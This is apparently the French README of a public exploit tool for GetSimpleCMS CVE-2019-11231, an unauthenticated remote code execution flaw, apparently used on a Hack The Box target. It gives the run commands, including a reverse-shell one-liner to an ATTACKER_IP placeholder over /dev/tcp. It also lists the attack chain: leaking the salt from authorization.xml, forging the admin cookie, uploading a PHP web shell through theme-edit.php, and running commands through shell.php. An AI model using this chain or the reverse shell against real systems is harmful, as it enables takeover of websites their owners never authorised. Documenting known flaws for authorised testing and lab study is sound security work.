Exploit RCE GetSimpleCMS CVE-2019-11231

Exploit d'exécution de code à distance non authentifié pour GetSimpleCMS ≤ 3.3.15

Vulnérabilité

GetSimpleCMS expose publiquement des fichiers sensibles (/data/other/authorization.xml, /data/users/) permettant aux attaquants de :

1. Fuiter des clés API et noms d'utilisateur
2. Forger des cookies d'authentification
3. Obtenir des jetons CSRF
4. Télécharger et exécuter du code PHP arbitraire

Score CVSS : 9.8 (Critique)

Utilisation

pip install -r requirements.txt
python3 exploit.py http://target.com "id"
python3 exploit.py gettingstarted.htb "whoami"
python3 /tmp/test.py gettingstarted.htb "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

Fonctionnement

1. Énumérer la version → GET /admin/
2. Fuiter le sel → GET /data/other/authorization.xml
3. Obtenir le nom d'utilisateur → GET /data/users/
4. Forger le cookie → SHA1(nom_utilisateur + sel)
5. Obtenir le nonce → GET /admin/theme-edit.php
6. Télécharger le shell → POST /admin/theme-edit.php
7. Exécuter les commandes → GET /theme/shell.php?cmd=...

Fichiers

• exploit.py - Script d'exploit principal
• requirements.txt - Dépendances (requests, beautifulsoup4)

Avertissement

⚠️ À des fins éducatives uniquement. Testez uniquement sur des systèmes que vous possédez ou pour lesquels vous avez l'autorisation de tester.

Références

• https://ssd-disclosure.com/archives/3899/ssd-advisory-getcms-unauthenticated-remote-code-execution
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11231